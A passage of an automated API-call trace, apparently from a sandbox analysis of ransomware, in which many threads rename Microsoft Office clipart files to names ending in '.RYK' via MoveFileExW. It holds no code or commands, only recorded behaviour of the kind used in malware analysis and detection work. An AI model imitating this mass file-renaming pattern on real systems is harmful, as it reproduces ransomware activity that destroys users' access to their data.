	[0234.847] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.126] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.126] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD00965_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd00965_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1586
	os_tid = 0x1ed0

	[0234.774] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF", dwFileAttributes=0x80) returned 0
	[0234.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.125] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.125] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01074_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01074_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1587
	os_tid = 0x1ed4

	[0234.777] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF", dwFileAttributes=0x80) returned 0
	[0234.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.123] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.123] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01084_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01084_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1588
	os_tid = 0x1ed8

	[0234.778] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF", dwFileAttributes=0x80) returned 0
	[0234.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.121] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.121] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01176_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01176_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1589
	os_tid = 0x1edc

	[0234.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF", dwFileAttributes=0x80) returned 0
	[0234.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.119] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.119] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01191_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01191_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1590
	os_tid = 0x1ee0

	[0234.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF", dwFileAttributes=0x80) returned 0
	[0234.850] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.117] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.117] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01193_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01193_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1591
	os_tid = 0x1ee4

	[0234.782] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF", dwFileAttributes=0x80) returned 0
	[0234.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.115] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.115] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01196_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01196_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1592
	os_tid = 0x1ee8

	[0234.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF", dwFileAttributes=0x80) returned 0
	[0234.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.114] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.114] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01548_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01548_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1593
	os_tid = 0x1eec

	[0234.786] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF", dwFileAttributes=0x80) returned 0
	[0234.851] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.112] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.112] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01657_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01657_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1594
	os_tid = 0x1ef0

	[0234.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF", dwFileAttributes=0x80) returned 0
	[0234.852] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.110] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.110] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01658_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01658_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1595
	os_tid = 0x1ef4

	[0234.790] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF", dwFileAttributes=0x80) returned 0
	[0234.853] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01659_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01659_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1596
	os_tid = 0x1ef8

	[0234.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF", dwFileAttributes=0x80) returned 0
	[0235.106] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.106] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.107] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD01660_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd01660_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1597
	os_tid = 0x1efc

	[0234.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF", dwFileAttributes=0x80) returned 0
	[0235.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.105] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.105] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02068_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02068_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1598
	os_tid = 0x1f00

	[0234.854] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF", dwFileAttributes=0x80) returned 0
	[0235.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.100] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.101] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02071_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02071_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1599
	os_tid = 0x1f04

	[0234.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF", dwFileAttributes=0x80) returned 0
	[0235.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.098] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.099] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02075_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02075_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1600
	os_tid = 0x1f08

	[0234.855] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF", dwFileAttributes=0x80) returned 0
	[0235.097] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.097] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.097] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02088_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02088_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1601
	os_tid = 0x1f0c

	[0234.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF", dwFileAttributes=0x80) returned 0
	[0235.095] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.095] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.095] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02097_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02097_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1602
	os_tid = 0x1f10

	[0234.856] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF", dwFileAttributes=0x80) returned 0
	[0235.225] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.225] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.225] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02115_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02115_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1603
	os_tid = 0x1f14

	[0234.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF", dwFileAttributes=0x80) returned 0
	[0235.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.274] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.274] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1604
	os_tid = 0x1f18

	[0234.857] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF", dwFileAttributes=0x80) returned 0
	[0235.224] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.275] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.275] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1605
	os_tid = 0x1f1c

	[0234.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF", dwFileAttributes=0x80) returned 0
	[0235.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.277] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.277] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1606
	os_tid = 0x1f20

	[0234.858] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF", dwFileAttributes=0x80) returned 0
	[0235.223] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.278] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.278] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1607
	os_tid = 0x1f24

	[0234.950] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF", dwFileAttributes=0x80) returned 0
	[0234.950] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0234.950] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0234.950] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1608
	os_tid = 0x1f28

	[0234.952] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID", dwFileAttributes=0x80) returned 0
	[0235.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.317] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.317] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1609
	os_tid = 0x1f2c

	[0234.953] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID", dwFileAttributes=0x80) returned 0
	[0235.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.315] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0235.315] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_02.MID.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_02.mid.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1610
	os_tid = 0x1f30

	[0234.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF", dwFileAttributes=0x80) returned 0
	[0235.149] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FLAP.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\flap.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0235.313] CloseHandle (hObject=0xffffffffffffffff) returned 0
